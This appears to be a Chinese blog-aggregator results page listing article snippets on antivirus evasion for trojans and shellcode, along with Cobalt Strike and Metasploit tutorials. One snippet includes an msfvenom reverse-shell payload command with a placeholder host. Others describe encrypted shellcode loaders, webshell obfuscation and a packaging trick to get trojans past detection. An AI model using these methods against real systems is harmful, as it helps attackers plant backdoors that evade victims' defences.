strike免杀

【免杀篇】远控免杀专题(16)-Unicorn免杀(VT免杀率29/56)

当你的才华还撑不起你的野心时那你就应该静下心来学习目录0x01Unicorn介绍0x02安装Unicorn0x03Unicorn使用说明0x04利用Unicorn生成后门0x05小结免杀能力一览表0x01Unicorn
Agan '·2020-08-18 19:09

后渗透篇：Metasploit shellter免杀

当你的才华还撑不起你的野心时那你就应该静下心来学习目录Metasploitshellter免杀0x01Shellter介绍0x02案例演示0x03Metasploit＆Shellter捆绑免杀Metasploitshellter
Agan '·2020-08-18 19:09

【免杀篇】远控免杀专题(27)-C、C++加载shellcode免杀(中)

当你的才华还撑不起你的野心时那你就应该静下心来学习目录0x01C/C++加载shellcode免杀介绍方法6:XOR加密(VT免杀率15/71)方法7:base64加密法1(VT免杀率28/69)方法8
Agan '·2020-08-18 19:09

【免杀篇】远控免杀专题(21)-HERCULES免杀(VT免杀率14/56)

0x01HERCULES介绍0x02安装HERCULES安装前的准备安装HERCULES安装可能遇到的问题0x03HERCULES使用说明0x04利用HERCULES生成后门0x05HERCULES小结免杀能力一览表
Agan '·2020-08-18 19:09

【免杀篇】远控免杀专题(7)-Shellter免杀(VT免杀率7/69)

当你的才华还撑不起你的野心时那你就应该静下心来学习目录0x01前言0x02安装Shellter0x03生成payload（VT免杀率7/69)0x04小结免杀能力一览表几点说明：1、上表中标识√说明相应杀毒软件未检测出病毒
Agan '·2020-08-18 19:09

【免杀篇】远控免杀专题文章(1)-基础篇

当你的才华还撑不起你的野心时那你就应该静下心来学习目录远控免杀专题文章(1)-基础篇免杀概念杀毒软件检测方式扫描技术监控技术扫描引擎特征码扫描文件校验和法进程行为监测法(沙盒模式)主动防御技术机器学习识别技术免杀技术发展史免杀技术介绍
Agan '·2020-08-18 19:38

Pyinstaller生成exe文件免杀

0x01解决方案之前用python打包的exe文件总会被电脑关键识别成木马文件隔离，很困扰（虽说本来也不是做什么好事==）解决方案：再生成exe文件时给生成的exe加上图标即可。使用命令：pyinstaller-ixxxx.ico-w-Fxxxx.py0x02ico文件生成代码pyinstaller需要特定的后缀为.ico的图片文件来生成图标，且对文件的大小尺寸有要求。经过查询，以下方法可以顺利生
Clannad_niu·2020-08-18 19:24

免杀的艺术：史上最全的汇编Shellcode的技巧（三）

本文讲的是免杀的艺术：史上最全的汇编Shellcode的技巧（三），我们在上一篇提到要要自定义shellcode，不过由于这是个复杂的过程，我们只能专门写一篇了，本文，我们将会给大家介绍shellcode
weixin_33759269·2020-08-18 19:31

Python 加密 shellcode 免杀

Python加密shellcode免杀环境准备：Windows732位系统；Shellcode使用kalilinuxMetasploit生成shellcodeWindows7需要安装的软件：Python2.7
PeiSylon·2020-08-18 19:33

编译PI远控SHELLCODE（VC++）加异或免杀(转载于网络)

来自暗组，但原贴有诸多语法错误，以下是修正后的编译法。一，直接编译：#include#pragmacomment(linker,"/OPT:NOWIN98")#pragmacomment(linker,"/subsystem:\"windows\"/entry:\"mainCRTStartup\"")#pragmacomment(linker,"/MERGE:.rdata=.text")//合并区
lidatou·2020-08-18 19:11

Powershell免杀（远程加载shellcode）笔记

原文链接远程加载的思路很简单，只需要将bin文件放到cs服务器上，利用远程读取shellcode的方式将恶意代码加载到内存执行即可。下面代码直接从uri读取字节数组（对的，没仔细看）#remoteshell.ps1Set-StrictMode-Version2functionget_delegate_type{Param([Parameter(Position=0,Mandatory=$True)
jackslowf·2020-08-18 19:34

shellter免杀技术实战

Shellter是一个开源的免杀工具，利用动态Shellcode注入来实现免杀的效果，想了解更多可以参考shellter官网：https://www.shellterproject.com/实验环境：kalishellter_v6.9360putty.exe
replaceroot·2020-08-18 18:33

【免杀篇】远控免杀专题(33)-Ruby加载shellcode免杀(VT免杀率0-58)

当你的才华还撑不起你的野心时那你就应该静下心来学习目录0x01Ruby加载shellcode介绍0x02Ruby嵌入shellcode(VT查杀率0/58)免杀能力一览表0x01Ruby加载shellcode
Agan '·2020-08-18 18:26

【免杀篇】远控免杀专题(30)-Python加载shellcode免杀-8种方式(VT免杀率

当你的才华还撑不起你的野心时那你就应该静下心来学习目录0x01Python加载shellcode免杀介绍0x02通过py源码编译exe方法1：python加载C代码(VT免杀率19/70)方法2：py2exe
Agan '·2020-08-18 18:26

【免杀篇】远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)

当你的才华还撑不起你的野心时那你就应该静下心来学习目录0x01GO加载shellcode介绍0x02Go嵌入shellcode(VT查杀率3/71)0x03Go加载器go-shellcode加载器(VT查杀率4/69)gsl加载器(VT查杀率6/71)免杀能力一览表
Agan '·2020-08-18 18:26

关于CS上线Linux主机（CrossC2）

用法我的想法来说，相当于一个小集群，插件化方便利用，实际的渗透中意义并不大，更加实际于命令行渗透，做到无文件落地，过流量检测加密免杀等技术的研究。
Adminxe·2020-08-18 18:21

免杀简述2(二次编译shellcode\远程加载shellcode\shellcode远程线程注入\内存申请优化\管道技术)

二次编译也可以理解成shellcode混淆，将shellcode执行前进行各种加密，然后执行的时候进行解密。Xor就是一个例子。原理是先将加密后的shellcode写入程序中，然后再在程序里面写入shellcode解密程序，这样子将shellcode混淆后，特征码等各种数值就会改变，可以绕过大部分的静态查杀，加密方法不限制，自己写也是可以的。Exp：xor加密shellcode代码：源代码：htt
Shanfenglan7·2020-08-18 18:09

免杀简述1(花指令/改特征码/shellcode加载器)

杀毒软件查杀思路杀软常见扫描方式与技术1、扫描压缩包技术：即是对压缩包案和封装文件作分析检查的技术。2、程序窜改防护：即是避免恶意程序借由删除杀毒侦测程序而大肆破坏电脑。3、修复技术：即是对恶意程序所损坏的文件进行还原4、急救盘杀毒：利用空白U盘制作急救启动盘，来检测电脑病毒。5、智能扫描：扫描最常用的磁盘，系统关键位置，耗时较短。6、全盘扫描：扫描电脑全部磁盘，耗时较长。7、勒索软件防护：保护电
Shanfenglan7·2020-08-18 18:38

程序免杀技术之——花指令

当然，花指令也广泛运用到免杀技术中，不过随着杀毒技术以及虚拟机技术的不断升级，单一的加花已经不能避免
zhu2695·2020-08-18 18:53

msfvenom木马生成+免杀+壳(实测并不能免杀)

msfvenom选项:-p,--payload有效载荷使用。指定一个有效的自定义载荷--payload-options列出有效载荷的标准选项-l,--list[type]列出一个模块类型。选项有：有效载荷，编码器，NOP，所有-n,--nopsled在一个nopsled[长度]的大小对有效载荷-f,--format输出格式（使用-一个列表的帮助格式）--help-formats列出可用的格式-e,
weixin_34342992·2020-08-18 05:09

TLS--线程局部存储

https://blog.csdn.net/u013761036/article/details/54960277这个东西并不陌生了，之前写过了一个关于这个的应用，利用静态TLS姿势实现代码段静态加密免杀或者所谓的加壳思路
Answer-3·2020-08-18 03:09

TextView添加中划线、下划线等

TextView加下划线、中划线、抗锯齿效果//在代码中设置，中划线textView.getPaint().setFlags(Paint.STRIKE_THRU_TEXT_FLAG|Paint.ANTI_ALIAS_FLAG
fsx_xiaomei·2020-08-17 22:58

Kail Linux渗透测试教程之免杀Payload生成工具Veil

KailLinux渗透测试教程之免杀Payload生成工具Veil免杀Payload生成工具——VeilKailLinux渗透测试教程之免杀Payload生成工具Veil，Veil是一款利用Metasploit
ciqihui0949·2020-08-17 21:48

木马的伪装与免杀

0x01:我们依靠msf生成简单的shellcode免杀msfvenom-pwindows/meterpreter/reverse_tcp-ax86--platformLHOST=XXXLPORT=XXX-ex86
梭哈王·2020-08-17 16:20

HTML常用标签

网页中常用标签br换行：hr水平线：sub下标标签:H2Osup上标标签：23b文本加粗标签：未加粗文本加粗strong文本加粗:未加粗文本加粗small字体变小标签：正常字体变小i斜体：斜体u下划线：下划线strike
尘小新·2020-08-17 16:19

我的渗透笔记之cobalt strike的使用（一）

一、cobaltstrike的安装cobaltstrike汉化版下载地:https://pan.baidu.com/s/1lhfoe4xfVpEfH0y6zGz2pA提取码：xjbd1、下载cobaltstrike的文件，将其解压到kali服务器或者其他linux系统下，然后运行teamserver文件，参数为服务器ip以及自己设置的服务器密码2、在客户端连接团队服务器，客户端可以是windows
shinyruo开始了·2020-08-17 07:31

Cobalt Strike与MSF的联动

cs的会话---->msf的会话注意：必须安装java我这里使用的是cs4.0版本的，所以后面的有些东西会和以前的有些差异，但并不影响。进入目录，启动cs的服务端，命令格式：./teamserverip密码；客户端有两种一种是windows版，一种是linux版。这里采用linux版本，但都必须是在java环境里面；启动客户端：host：服务器端的ip；port：服务器的端口；user：自己的昵称
Lion's Sin 艾斯卡诺·2020-08-17 07:56

Cobalt Strike 简单使用

1、运行服务端其中afanti就是密码2、客户端用户名随意写，密码添afanti3、创建listener4、生成木马客户端Attacks->Packages->WindowsExecutable选择刚刚生成的listener,生成木马到桌面。双击artifact.exe木马，客户就能上线。另一种上线方式Attacks->Packages->PayloadGenerator选择一种语言生成paylo
weixin_30758821·2020-08-17 06:35

cobalt strike各种beacon的详解（http/https/tcp）

Beacon从Cobaltstrike4.0开始就只有这几种beacon，一般情况下想要得到beacon就先得创建对应的listener，之后根据创建好的listener生成木马文件，文件运行后返回对应的beacon，至于beacon到底是个什么东西可以看我的这篇文章。这里我们先讲述几种比较简单的易于理解的beacon。附录beacon与c2通信逻辑1.stager的beacon会先下载完整的pa
Shanfenglan7·2020-08-17 06:36

cobalt strike 使用（一）

背景前两天安装好了cs，今天趁着周末试试怎么使用，结果弄了半天没有成功上线过一次靶机。换了个方式结果都行了。赶紧写个博客记录下。一、本地连接在无数次连接不到靶机后，我果断放弃了用公网服务器作为服务端的方式。我用kali同时作为服务端和客户端尝试1.服务端启动服务端，同样的命令只不过ip改成kali内网的ip2.客户端因为是linux下所以不能在cobalstrike目录下用命令启动java-XX:
qq_40624810·2020-08-17 06:53

Cobalt Strike的使用

0x00CobaltStrike简介CobaltStrike一款以metasploit为基础的GUI的框架式渗透测试工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，winexe木马生成，windll木马生成，java木马生成，office宏病毒生成，木马捆绑；钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等等。而CobaltStrike3.0已经不再使用Metasp
浅笑⁹⁹⁶·2020-08-17 06:29

cobalt strike学习（二）

前言：本篇是个人学习的笔记，由于cobalt中文学习资料实在不多，因此算是看各方教程和cobalt官方视频的一个总结。如果有什么错误的地方请指出。ps：以下皆为kali2环境，使用的是3.8的破解版官方英文教程：https://www.cobaltstrike.com/downloads/csmanual40.pdf各种攻击模块由于一部分模块没有看到使用案例，因此不会讲一部分的模块使用。如果以后使
zusda·2020-08-17 06:04

windows环境如何运行cobalt strike

CobaltStrike是armitage的商业版，最强大的功能是多了个beacon的payload。自己可以用美国的代理去官方网站http://www.advancedpentest.com上载一个21天的试用版。因为cobaltstrike以前是可以直接在windows下面运行的。但是经过升级之后，已经不允许了。所以我们需要借助linux服务器或者虚拟机。需要用到的tool1.kaillinu
qq_27446553·2020-08-17 06:32

内网安全学习从入门到入狱-神器-Cobalt Strike-一-CS的基础和介绍

内网安全学习从入门到入狱-工具-CobaltStrike(CS)基础前言本文主要是看了CobaltStrike各种资料后记的笔记。参考过于杂乱，如有问题请联系我手上虽然没有4.0，但是也要提前学习了CobaltStrike简介官网收费软件https://www.cobaltstrike.com/，CobaltStrike许可费用为每位用户3500美元，其他的不说了CobaltStrike是用于“对
god_zZz·2020-08-17 05:09

cobalt strike快速上手指南（二）

继续功能上的一些体验分享在cs的shell上线后，就会获取到beacon，然后就有一些功能能够happy了文件管理上线后，比较重要的功能就是文件管理功能，文件浏览器，就类似拿到webshell后，能够通过蚁剑等后门管理工具进行文件控制一样，只要在对拿到的回话上右键，Explore->FileBrowser就能打开然后像下面的这些功能upload-上传MakeDirectory-创建目录ListDr
awindog·2020-08-17 05:16

Cobalt Strike 使用方法

CobaltStrike一款以Metasploit为基础的GUI框架式渗透测试工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，exe、powershell木马生成等。钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等。CobaltStrike主要用于团队作战，可谓是团队渗透神器，能让多个攻击者同时连接到团体服务器上，共享攻击资源与目标信息和sessions。Cobal
xyongsec·2020-08-17 04:41

使用Server酱实现Cobalt Strike主机上线微信提醒

登陆Server酱官网使用GitHub登陆点击发送消息获取Key点击微信推送扫码进行绑定填入自己的SCKEY，保存文件为http_ftqq.cna文件CobaltStrike模块选择ScriptManager加载htt[_ftqq.cna文件若有主机上线微信就会提醒现在发出的提醒是由客户端发出的，但是客户端不可能一直都连着服务器。配置agscript文件使cna脚本运行在服务器中。./agscri
葵花与巷_·2020-08-17 04:36

渗透神器Cobalt Strike的使用

CobaltStrike模块CobaltStrike模块View模块Attacks模块Packages模块WebDrive-byReporting模块网站克隆信息搜集后渗透模块提权DumpHashes导出散列值logonpasswordsmake_token模拟指定用户端口扫描PsExec进程注入与键盘记录进程注入键盘记录spawna派发指定用户身份的shellspawnBeacon中常用命令Co
葵花与巷_·2020-08-17 04:36

一句话木马免杀（截止2020年8月16日通杀D盾、安全狗，微步，webshellKiller）

首先一句话木马：D盾扫描，5级分开写：1D盾扫描，4级使用可变函数的技巧（PHP支持可变函数的概念。这意味着如果一个变量名后有圆括号，PHP将寻找与变量的值同名的函数，并且尝试执行它。可变函数可以用来实现包括回调函数，函数表在内的一些用途）1D盾扫描，3级使用array_map()函数（为数组的每个元素应用回调函数）1D盾扫描，2级把assert处理一下1D盾扫描，1级既然显示数组字符串合并，那么
ABKing·2020-08-16 23:00

免杀花指令编写组合----非常常用，免杀必备

(该免杀花指令经典,压缩可
zhu2695·2020-08-16 17:19

免杀汇编教程（汇编花指令）

相信很多朋友都做过木马免杀，早期的免杀都是加壳和改特征码，现在免杀技术已经发展到花指令免杀，改壳之类的，而这些需要一定的汇编知识，但是汇编却不是一块容易啃的骨头，所以我写了这篇菜鸟版的免杀汇编教程，帮助小菜们快速入门
zacklin·2020-08-16 17:42

《黑客免杀攻防学习笔记》——C++设计一个简单的壳1

本文中的代码均来自《黑客免杀攻防》，如要转载，需写明来源，请勿用于非法用途，作者对此文章中的代码造成的任何后果不负法律责任。
Traxer·2020-08-16 16:00

花指令

完全花指令免杀学习花指令，简称“花”，意思是像花儿一样的指令。花儿是干什么的呢？当然是吸引你去观赏的，就是让你(也包括杀软)只顾去观赏美丽“花朵”，而忘记或者忽略了“花朵”后面的“果实”。
weixin_33939843·2020-08-16 15:49

浅谈利用cs进行免杀的思路总结

思路①利用c语言+veil实现免杀#include"pch.h"//可以删除#include#include#pragmacomment(linker,"/subsystem:\"windows\"/entry
goddemondemongod·2020-08-16 14:31

后渗透攻防的信息收集 -- MottoIN

常用来获取windows密码的工具1.mimikatz2.wce3.getpass4.QuarksPwDump5.reg-sam6.pwdump77.procdump.exe+mimikatz…….B.免杀抓取密码的两种方
qq_27446553·2020-08-16 14:33

第五章 花指令与免杀 读书笔记

1为了保护真正的果实,所以使用花朵是别人迷惑.花指令不是加密代码,它分两种:a夹杂运行b高级语言的花指令应用,程序在运行时会因为花指令而改变原有的流程.该书暂不涉及,据称"比较复杂且效果有限"2脚本木马花指令3花指令根基-汇编语言a认识汇编80x86汇编大致可分为这么几个功能组:数据传输指令逻辑运算指令串操作指令控制转移指令处理器控制指令b增加反汇编添加任意功能:知识点:汇编调用API函数遵循sd
dalerkd·2020-08-16 12:13

Web渗透之MSF框架——msfvenom与免杀木马制作

文章目录生成常见的反向连接木马反向连接的优势：Windows:Linux：MAC：PHP：Asp：Aspx：msfvenom参数介绍生成免杀木马360免杀木马腾讯管家免杀木马免杀木马测试写在最后生成常见的反向连接木马连接一般分为正向连接和反向连接
Mr. Wanderer·2020-08-16 11:17

木马免杀之汇编花指令技巧

木马免杀之汇编花指令技巧作者：逆流风（发表于《黑客X档案》07.07，转载注明出处）相信很多朋友都做过木马免杀，早期的免杀都是加壳和改特征码，现在免杀技术已经发展到花指令免杀，改壳之类的，而这些需要一定的汇编知识
weixin_30730151·2020-08-16 11:16

[远控免杀]msf生成木马的信息储备

1.msfvenom的命令使用Options:-p,--payload指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload，请使用'-'或者stdin指定-l,--list[module_type]列出指定模块的所有可用资源.模块类型包括:payloads,encoders,nops,all-n,--nopsled为payload预先指定一个NOP滑动长
千^里·2020-08-15 07:53

CSS重置样式表Reset.css

h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike
y_xun66·2020-08-14 04:15
上一页 11 12 13 14 15 16 17 18 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他